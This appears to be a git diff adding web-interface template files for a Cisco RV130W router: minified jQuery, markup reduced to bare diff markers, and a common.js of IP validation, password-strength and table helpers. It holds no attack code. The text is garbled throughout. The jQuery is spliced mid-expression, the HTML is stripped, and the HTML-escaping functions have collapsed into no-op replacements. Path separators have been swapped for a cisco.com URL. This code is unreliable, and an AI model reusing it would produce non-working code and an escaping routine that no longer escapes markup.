f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,ba=/<([\w:]+)/,ca=/<|&#?\w+;/,da=/<(?:script|style|link)/i,ea=/checked\s*(?:[^=]|=\s*.checked.)/i,fa=/^$|\/(?:java|ecma)script/i,ga=/^true\/(.*)/,ha=/^\s*\s*$/g,ia={option:[1,""],thead:[1,"","
    "],col:[2,"","
    "],tr:[2,"","
    "],td:[3,"","
    "],_default:[0,"",""]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function ka(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,"script"),g.length>0&&ma(g,!i&&oa(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(ca.test(e)){f=f||k.appendChild(b.createElement("div")),g=(ba.exec(e)||["",""])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),"script"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(aa,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,"script"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),"none"!==c&&c||(qa=(qa||n(" + +
    + + + + + + +
    + + + +
    +
    + + + : + + + +
    + + + + + + + + + + +
      + +
    + +
    +
    +
    +
     
    Resize Navigation Pane +
    +
    + + +
    +
     
    +
    + + + + + + + + + + + + + + + + diff --git a/Sites/Template/cisco/js/common.js b/Sites/Template/cisco/js/common.js new file mode 100644 index 0000000..f712c0c --- /dev/null +++ b/Sites/Template/cisco/js/common.js @@ -0,0 +1,2776 @@ +var ZERO_NO = 1; // 0x0000 0001 +var ZERO_OK = 2; // 0x0000 0010 +// x.x.x.0 +var MASK_NO = 4; // 0x0000 0100 +var MASK_OK = 8; // 0x0000 1000 +// 255.255.255.255 +var BCST_NO = 16; // 0x0001 0000 +var BCST_OK = 32; // 0x0010 0000 + +var SPACE_NO = 64; // 0x0100 0000 +var SPACE_OK = 128; // 0x1000 0000 + +var LANSUBNET_NO = 64; // 0x0100 0000 +var LANSUBNET_OK = 128; // 0x1000 0000 + +var VALID_IP_RULE1="1-223.0-255.0-255.1-254"; +var VALID_IP_RULE2="0-255.0-255.0-255.0-255"; +var VALID_IP_RULE3="1-223.0-255.0-255.0-254"; +var VALID_IP_RULE4="10-10.0-255.0-255.0-255"; +var VALID_IP_RULE5="172-172.16-31.0-255.0-255"; +var VALID_IP_RULE6="192-192.168-168.0-255.0-255"; +var VALID_IP_RULE7="1-223.0-255.0-255.0-255"; + +var http_power='r'; +var http_from = 'lan'; + +/* MAXLENGTH */ +var FORWARD_MAX=30; +var SINGLEFORWARD_MAX=20; +var MAX_WIFI=4; +var FORWARDING_MAXLEN=20; +var TRIGGER_MAXLEN=20; + +//AUTO=1 call keep_val() for check +//AUTO=0 call get_data() for check +var CHK_VALUE_AUTO=1; + +/* + Description: Defined table of td type + function Name: draw_td + Author: Emily Liao + Modify: 2010.3.25 +*/ +var FUNTITLE =1; +var SUBTITLE =2; +var ISHR =3; +var TABLETD =4; +var TABLETD_TAIL =5; +var TABLETD_TAIL_R =27; +var TABLETD_TAIL_C =28; +var TABLETD_SINGLE_LINE=6; +var TABLETD_SINGLE_LINE_R=25; +var TABLETD_SINGLE_LINE_C=26; +var MAINFUN =8; +var SUBTITLE_M =9; +var FUNTITLE_R =13; +var TABLETD_SINGLE_LINE_FIRST=18; +var TABLETD_SINGLE_LINE_FIRST_R=7; +var TABLETD_SINGLE_LINE_FIRST_C=24; +var ICONLINE=19; +var CREATE_EDIT_TABLE=20; +var PWDLINE=21; +var SUBTITLE_NOSHIFT =22; +var SUBTITLE_MSG=23; + +//TABLE TD TYPE DEFINE END + +// Output type define +var O_GUI = 1; +var O_VAR = 2; +var O_MSG = 3; +var O_PAGE = 4; + +var WARNING=1; +var ERROR=2; +var INFO=3; +var SUCCESS=4; + +var support_3g = 0; +support_3g=1 + +var PASS=1; +var FAIL=0; +var Browser = CheckBrowser(); +var current_model_name = "RV130W"; +var PASS_ICON_PATH="image/Status_success_icon.png"; +var ERROR_ICON_PATH="image/Status_ciriticalerror_icon.png"; +var INFO_ICON_PATH="image/Status_information_icon.png"; +var WARN_ICON_PATH="image/Status_warning_icon.gif"; +var ap_mode = "0"; +if ( ap_mode != "1" ) ap_mode == "0"; +var now_lang="EN"; +var is_24_lang_list=new Array("FR","DE","SP","PT","IT"); + +var flg_24=0; +for(var i=0; i/'); + new_msg = new_msg.replace(re,args[i]); + } + return new_msg; +} + +function parseIP(ipaddr) +{ + if( check_ipv4(ipaddr,VALID_IP_RULE7) != PASS ) + return ipaddr; + var tmpip = ipaddr.split("."); + var newip = ""; + if ( tmpip.length != 4 ) return ipaddr; + for(var i=0; i<4; i++) + { + if ( newip != "" ) newip+="."; + newip += parseInt(tmpip[i], 10); + } + return newip; +} + +function clear_msg(obj_name, span_id){ + if ( document.getElementById(obj_name) ) + document.getElementById(obj_name).style.backgroundColor=""; + if ( document.getElementById(span_id) ) + document.getElementById(span_id).innerHTML=""; +} + +function table_msg(img_id,obj_id,div_id,index,errmsg) +{ + if ( typeof index != 'undefined' ) + { + if ( document.getElementById("tmsg"+index) ) + { + document.getElementById("tmsg"+index).innerHTML = __T(share.tableerrmsg); + document.getElementById("tmsg"+index).style.display=""; + } + }else{ + if ( document.getElementById("tmsg") ) + { + document.getElementById("tmsg").innerHTML = __T(share.tableerrmsg); + document.getElementById("tmsg").style.display=""; + } + } + document.getElementById(img_id).style.display=""; + if ( document.getElementById(obj_id) ) // For not Row selected + document.getElementById(obj_id).className="TABLECONTENT__TD_ERR"; + document.getElementById("div_msg"+div_id).innerHTML = errmsg; + document.getElementById("tr_table"+index).className= "TABLECONTENT_ERR"; +} + +function clear_table_msg(guide_id,image_id,object_id,index) +{ + //document.getElementById(guide_id).style.display="none"; + if ( document.getElementById(image_id) ) + { + document.getElementById(image_id).style.display="none"; + document.getElementById(image_id).alt=""; + } + if ( document.getElementById(object_id) ) + document.getElementById(object_id).className= "TABLECONTENT__TD_RECOVERY"; + //table message + if ( document.getElementById("tmsg") ) + document.getElementById("tmsg").innerHTML = __T(msg.tablemsg); + var tmp=-1; + if ( chk_chartype(index,DIGIT) == PASS ) + tmp = index; + else + tmp = index.substring(index.indexOf("_")+1,index.length); + if ( tmp != -1 ) + { + if ( tmp%2 == 0 ) + document.getElementById("tr_table"+index).className= "TABLECONTENT_S"; + else + document.getElementById("tr_table"+index).className= "TABLECONTENT_D"; + } +} + +function SHOW_HIDDEN_TABLE(bt_name,table_id,img_id,show_str,hide_str) +{ + var obj = document.getElementById(bt_name).innerHTML; + + if (obj == show_str){ + document.getElementById(img_id).src = "image/show1.gif"; + document.getElementById(table_id).style.display=""; + document.getElementById(bt_name).innerHTML = hide_str; + }else{ + document.getElementById(img_id).src = "image/show.gif"; + document.getElementById(table_id).style.display="none"; + document.getElementById(bt_name).innerHTML = show_str; + } + +} + +function get_full_ip(F,obj_name) +{ + var tmp=""; + for(var i=0; i<4; i++) + { + if ( tmp != "" ) tmp+="."; + tmp += document.getElementById(obj_name+"_"+i).value; +// tmp += eval("F."+obj_name+"_"+i).value; + } + return tmp; +} + +function table_bt_out(obj_id,img_id,show_str) +{ + if ( document.getElementById(img_id).src.indexOf("image/showDis") !=-1 ) return; + if ( document.getElementById(obj_id).innerHTML == show_str) + document.getElementById(img_id).src = "image/show.gif"; + else + document.getElementById(img_id).src = "image/show1.gif"; +} + +function table_bt_over(obj_id,img_id,show_str) +{ + if ( document.getElementById(img_id).src.indexOf("image/showDis") !=-1 ) return; + if ( document.getElementById(obj_id).innerHTML == show_str) + document.getElementById(img_id).src = "image/showHover.gif"; + else + document.getElementById(img_id).src = "image/showHover1.gif"; +} + +function removed_pwd_result(id) +{ + var tbody = document.getElementById("pwdtb"+id).getElementsByTagName("TBODY")[0]; + if (document.getElementById("pwd_tr"+id) != 'undefined' && document.getElementById("pwd_tr"+id) != null) + tbody.removeChild(document.getElementById("pwd_tr"+id)); +} + +function show_pwd_result(cnt,id) +{ + var obj_msg = document.getElementById("msg_pwd"+id); + if ( cnt == 0 ) + { + obj_msg.style.display="none"; + return; + } + obj_msg.style.display=""; + removed_pwd_result(id); + document.getElementById("pwdtb"+id).style.display=""; + var tbody = document.getElementById("pwdtb"+id).getElementsByTagName("TBODY")[0]; + var row = document.createElement("tr"); + row.setAttribute("id","pwd_tr"+id); + for(var i=0; i<14; i++) + { + if ( cnt > i ) + { + if ( i < 4 ) color = "red"; + else if ( i>=4 && i<=8 ) color = "yellow"; + else color = "green"; + }else + color="#e7eff7"; + + tdArray = document.createElement("td"); + tdArray.setAttribute("bgColor",color); + tdArray.style.color=color; + tdArray.style.font="4px Arial"; + tdArray.innerHTML = "2"; + row.appendChild(tdArray); + } + tbody.appendChild(row); + if ( cnt>0 && cnt<=4 ) obj_msg.innerHTML = __T(msg.belowmin); + else if ( cnt>4 && cnt<=7 ) obj_msg.innerHTML = __T(msg.weak); + else if ( cnt>7 && cnt<=10 ) obj_msg.innerHTML = __T(msg.strong); + else if ( cnt>10 && cnt<=12 ) obj_msg.innerHTML = __T(msg.verystrong); + else if ( cnt>12 ) obj_msg.innerHTML = __T(msg.secure); +} + +var ISNUM=1; +var ISCHAR=2; +var ISBCHAR=4; +var ISOTHER=8; +function chk_char_type(ch) +{ + if( ch >= 48 && ch <= 57 ) return ISNUM; + else if( ch >= 65 && ch <= 90 ) return ISCHAR; + else if( ch >= 97 && ch <= 122 ) return ISBCHAR; + return ISOTHER; + +} + +function count_pwd(val,len,pwd_class) +{ + var ch="",ch1=""; + var ch_type0=0,chtype1=0; + var now_class=0, trans_num=0, class_type=0, add_num=0; + if ( pwd_class == 0 && len == 0 ) return 5; + for(var i=0; i 999 && parseInt(strNum,10) <= 999999 ){ + if ( args[1] == "byte" ) + tmp = formatNumByComma((parseInt(strNum,10)/1000).toFixed(2),lang)+" "+__T(unit.KB); + else + tmp = formatNumByComma((parseInt(strNum,10)/1000).toFixed(2),lang)+" "+__T(unit.onlyK); + }else if ( parseInt(strNum,10) > 999999 && parseInt(strNum,10) <= 999999999 ){ + if ( args[1] == "byte" ) + tmp = formatNumByComma((parseInt(strNum,10)/1000000).toFixed(2),lang)+" "+__T(unit.MB); + else + tmp = formatNumByComma((parseInt(strNum,10)/1000000).toFixed(2),lang)+" "+__T(unit.onlyM); + }else if ( parseInt(strNum,10) > 999999999 ){ + if ( args[1] == "byte" ) + tmp = formatNumByComma((parseInt(strNum,10)/1000000000).toFixed(2),lang)+" "+__T(unit.GB); + else + tmp = formatNumByComma((parseInt(strNum,10)/1000000000).toFixed(2),lang)+" "+__T(unit.onlyG); + } + return tmp; +} + +function formatNumByComma(strNum){ + if ( strNum.length <=3 ) return strNum; + if ( !/^(\+|-)?(\d+)(\.\d+)?$/.test(strNum) ){ + return strNUm; //Invalid format + } + var a = RegExp.$1, b=RegExp.$2, c=RegExp.$3; + var re = new RegExp(); + re.compile("(\\d)(\\d{3})(,|$)"); + while(re.test(b)) + { + if ( now_lang == "EN" ) + b = b.replace(re, "$1,$2$3"); + else + b = b.replace(re, "$1.$2$3"); + } + return a+""+b+""+c; + +} + +function bt(x,st) +{ + var obj = document.getElementById(x); + if ( st == "move" ) + { + obj.style.background="url('https://www.cisco.com/image/BT_Hover.jpg')"; + obj.style.border="1px solid #1fa0d5"; + obj.style.borderwidth="thick thin"; + } + else if ( st == "out" ) + { + obj.style.background="url('https://www.cisco.com/image/BT_Normal.jpg')"; + obj.style.border="1px solid #53636a"; + obj.style.borderwidth="thick thin"; + } + else if ( st == "down" ) + { + obj.style.background="url('https://www.cisco.com/image/BT_Press.jpg')"; + obj.style.border="1px solid #1fa0d5"; + obj.style.borderwidth="thick thin"; + }else if ( st == "disabled" ) + { + obj.style.background="url('https://www.cisco.com/image/BT_Disabled.jpg')"; + obj.style.border="1px solid #8e8e8e"; + obj.style.borderwidth="thick thin"; + } +} + +function chg_win_height(obj) +{ + top.document.body.style.overflow="hidden"; + top.document.getElementById(obj).style.height = top.document.body.clientHeight+"px"; + top.document.getElementById(obj).style.width = top.document.body.clientWidth+"px"; + top.document.body.style.overflow="auto"; +} + +function cy_speccode_encode(string) +{ + string = string.toString(); + string = string.replace(/&/g,'&'); + string = string.replace(//g,'>'); + string = string.replace(/"/g,'"'); + string = string.replace(/'/g,'''); + string = string.replace(/:/g,';'); + string = string.replace(/ /g,' '); + string = string.replace(/@/g,'©'); + return string; +} + +function cy_speccode_decode(string) +{ + string = string.toString(); + string = string.replace(/\/g, '\\'); + string = string.replace(/'/g, '\''); + string = string.replace(/&/g, '&'); + string = string.replace(/</g, '<'); + string = string.replace(/</g, '<'); + string = string.replace(/>/g, '>'); + string = string.replace(/>/g, '>'); + string = string.replace(/"/g, '"'); + string = string.replace(/;/g, ':'); + string = string.replace(/ /g, ' '); + string = string.replace(/&/g, '&'); + string = string.replace(/©/g, '@'); + return string; +} + +function string_break(len,src) +{ + var line = parseInt(src.length/len) ; + var i ,dst="" ; + if ( line == 0 ) return src; + if ( parseInt(src%len) != 0 ) line ++ ; + for(i=0; i"; + src = src.substring(len,src.length); + } + return dst ; +} + +function alert_result(val) +{ + if ( val == 1 ) + { + parent.document.getElementById("GUI_LOCK").value = 0; + parent.document.getElementById("rightframe").src = document.getElementById("newpage").value; + } + else + { + parent.document.getElementById("GUI_LOCK").value = 0; + } + + parent.document.getElementById("div_alert").style.display="none"; + //if ( document.getElementById("c1") ) + // choose_enable( document.getElementById("c1") ) ; + //if ( document.getElementById("c3") ) + // choose_enable( document.getElementById("c3") ) ; +} + +function chg_layout(){//O -> obj_id, 1-> Firefox style, 2-> IE style + var args = new Array; + for(var i=0; i<10; i++) + { + args[i] = arguments[i]; + args[i] = typeof(args[i])!='undefined'?args[i]:''; + } + if ( document.getElementById("divcontent") ){ + if ( Browser == "IE" ) + document.getElementById("divcontent").className="content_layer"; + else + document.getElementById("divcontent").className="content_layer_f"; + } + // Add session key + if ( close_session != "1" ) + { + if ( document.getElementById("frm") ) + { + document.getElementById("frm").action = goto_link(document.getElementById("frm").action); + //alert(document.getElementById("frm").action); + } + } + var wps_ap_role = "proxy" ; + var wps_result='0'; + if ( (wps_result == "3" || wps_result == "4") && wps_ap_role == "withReg" ) + get_position("Wireless_WPS-asp.htm"); +} + +function hideHint(obj_id){ + //document.getElementById("div_msg"+obj_id).innerHTML =""; + document.getElementById("div"+obj_id).style.display="none"; +} + +function showHint(img_id,obj_id,e){ + if ( document.getElementById(img_id).style.display == "none" || + document.getElementById("div_msg"+obj_id).innerHTML == "" ) return; + var s = document.getElementById("div"+obj_id); + var content_width = parseInt(top.document.body.clientWidth,10)-(15+5+170+15); + var obj_pos=0; + s.style.display=""; + + if ( window.event ) + { + obj_pos=content_width-e.x; + s.style.pixelTop = e.y+document.body.scrollTop+15; + s.style.top = e.pageY+15+"px";// + if ( obj_pos < 0 ) + { + s.style.pixelLeft = e.x+document.body.scrollLeft+obj_pos; + s.style.left = e.pageX+obj_pos+"px";// + } + else + { + if ( obj_pos < 200 ) + { + s.style.pixelLeft = e.x+document.body.scrollLeft-obj_pos; + s.style.left = e.pageX-obj_pos+"px";// + } + else + { + s.style.pixelLeft = e.x+document.body.scrollLeft-15; + s.style.left = e.pageX-15+"px";// + } + } + }else{ // Firefox + obj_pos = content_width-e.pageX; + s.style.top = e.pageY+15+"px"; + if ( obj_pos < 0 ) + s.style.left = e.pageX+obj_pos+"px"; + else{ + if ( obj_pos < 200 ) + s.style.left = e.pageX-obj_pos+"px"; + else + s.style.left = e.pageX-15+"px"; + } + } + +} + +function del_row(obj_id,flg) +{ + // table message + document.getElementById("tmsg").innerHTML = __T(msg.tablemsg); + document.getElementById("tmsg").style.display=""; + // disabled the add and edit button + choose_disable(document.getElementById("t2")); + choose_disable(document.getElementById("t3")); + +// if ( flg == 1 ) +// document.getElementById("tr_table"+obj_id).className= "TABLECONTENT_DEL_1"; +// else + document.getElementById("tr_table"+obj_id).className= "TABLECONTENT_DEL"; +} + +function edit_row(namelist,objlist,obj_id) +{ + if ( document.getElementById("tmsg") ) + { + document.getElementById("tmsg").innerHTML = __T(msg.tablemsg); + document.getElementById("tmsg").style.display=""; + } + // disable add and del button + choose_disable(document.getElementById("t2")); + choose_disable(document.getElementById("t4")); + + for(var i=0; i=0 ) /// windows-based path + return path.substr(x+1); + x = path.lastIndexOf('https://www.cisco.com/'); + if ( x>=0 ) //Unix-based path + return path.substr(x+1); + return path; + } +} + +function trans_16to2(val) +{ + var str="",tmpstr=""; + var tmp=""; + if ( typeof val == "undefined" ) return str; + var cnt=0, tmplen=val.length; + if ( val == "0" ) + { + for(var i=0; i<16; i++) + str+="0"; + return str; + } + for(var j=0; j<4-tmplen; j++) + val="0"+val; + for(var i=0; i 1 ) + { + while(1) + { + if ( tmp > 1 ) + { + if ( parseInt(tmp/2,10) > 0 )tmpstr=(tmp%2)+tmpstr; + else tmpstr=parseInt(tmp/2,10)+tmpstr; + tmp=parseInt(tmp/2,10); + } + else + { + tmpstr=tmp+tmpstr; + tmp=0; + } + cnt++; + if ( cnt == 4 ){ + break; + } + } + str+=tmpstr; + for(var j=0; j<4-cnt; j++) str+="0"; + }else + { + for(var j=0; j<3; j++) str+="0"; + str+=tmp; + } + } + return str; +} + +function trans_2to16(val) +{ + var total = parseInt(val.charAt(3),10)+ + parseInt(val.charAt(2),10)*2+ + parseInt(val.charAt(1),10)*4+ + parseInt(val.charAt(0),10)*8; + if ( total == 15 ) return "F"; + else if ( total == 14 ) return "E"; + else if ( total == 13 ) return "D"; + else if ( total == 12 ) return "C"; + else if ( total == 11 ) return "B"; + else if ( total == 10 ) return "A"; + else return total; + +} + +function trans_time_format(H,M,T) +{ + var tmp_hour, tmp_min; + var tmpval=0, tmp_T=0; + if ( T == "pm" ) + tmp_T=12; + else if( T == "am" ) + tmp_T=0; + if ( parseInt(H,10) == 12 ) + tmp_hour = tmp_T; + else + tmp_hour = parseInt(H,10)+tmp_T; + if ( tmp_T.length < 2 ) tmp_T = "0"+tmp_T; + if ( parseInt(M,10) < 10 ) + tmp_min = "0"+M; + else + tmp_min = M; + return tmp_hour+":"+tmp_min; +} + +/* +enum { + RANGE_ERR = 1, + SPACE_ERR, + FORMAT_ERR, + HEADER_ERR, + TYPE_ERR, + REPEAT_ERR +};*/ +/* flg = 0, "Configuration settings have been saved successfully" + * flg = 1, "Upgrade Fail" + * flg = 2, "Invalid language file." + * flg = 3, "The firmware version is up to date" + * flg = 4, "The firmware is invalid" + * flg = 5, "Download firmware fail. Please try it again later" + * flg = 6, "USB flash drive is not found" + * flg = 7, "Store file fail" + * flg = 8, "Store file success" + * */ + +function get_result_msg(filename,flg) +{ + + if ( flg == 0 ) + return __T(msg.configsuccess); + else if (flg == 6 ) + return __T(usbupgrade.nousb); + else if (flg == 7 ) + return __T(usbupgrade.savefail); + else if (flg == 8 ) + return __T(usbupgrade.savesuccess); + else{ + /* + if ( typeof(args[2])!='undefined' ) + { + if ( + }else{ */ + if ( filename == "upgrade-asp.htm" ) + { + if ( flg == 1 ) + return __T(msg.invalidfw); + else if ( flg == 2 ) + return __T(msg.invalidlang); + else if ( flg == 3) + return __T(bsd.fw_st_same); + else if ( flg == 4) + return __T(bsd.fw_st_invalid); + else if ( flg == 5) + return __T(bsd.fw_st_nofw); + + } + //else if ( filename == "vpn_client-asp.htm" || filename == "backup-asp.htm" ) + else if ( filename == "vpn_client-asp.htm") + return __T(msg.invalidcfg); + else if( filename == "backup-asp.htm") + { + if (flg == 1) + return __T(msg.invalidcfg); + else if(flg == 2) + return __T(mang.seederror); + else if(flg == 3) + return __T(mang.filechange); + } + else if ( filename == "man_cerificate-asp.htm" ) + return __T(msg.invalidcert); + else if ( filename == "users-asp.htm" ) + return __T(msg.invaliduser); + else if ( filename == "Wireless_welcome_edit-asp.htm" ) + return __T(msg.invalidimage); + else if ( filename == "authap-asp.htm" && flg == 1 ) + return spell_words(max_rule,AUTHAP_ENTRY,__T(wl.authaps)); + else + return __T(msg.configfail); + //} + + } +} + +function cal_submask(F,obj_id,ret_obj_id,option) +{ + var ipaddr; + var sub_ip; + var ipval = document.getElementById(obj_id).value; + + if( parseInt(option,10) != 4) return; + ipaddr = ipval.split(/\./); + + if((ipaddr[0] >= 1) && (ipaddr[0] <= 127)) + sub_ip = "255.0.0.0"; + else if((ipaddr[0] >= 128) && (ipaddr[0] <= 191)) + sub_ip = "255.255.0.0"; + else + sub_ip = "255.255.255.0"; + + document.getElementById(ret_obj_id).value = sub_ip; +} + +function get_extra_help(nowhelp) +{ + nowhelp+="-asp.htm"; + //alert("now_page="+parent.document.getElementById("now_page").value); + for(var i=0; i"+args[2]+""; + } + else if ( FUNNAME == SUBTITLE){ + td_code = ""+args[2]+""; + } + else if ( FUNNAME == SUBTITLE_NOSHIFT){ + td_code = ""+args[2]+""; + } + else if ( FUNNAME == SUBTITLE_M ){ + td_code = ""; + } + else if ( FUNNAME == SUBTITLE_MSG ){ + td_code = ""; + } + else if ( FUNNAME == ISHR ){ + td_code = "
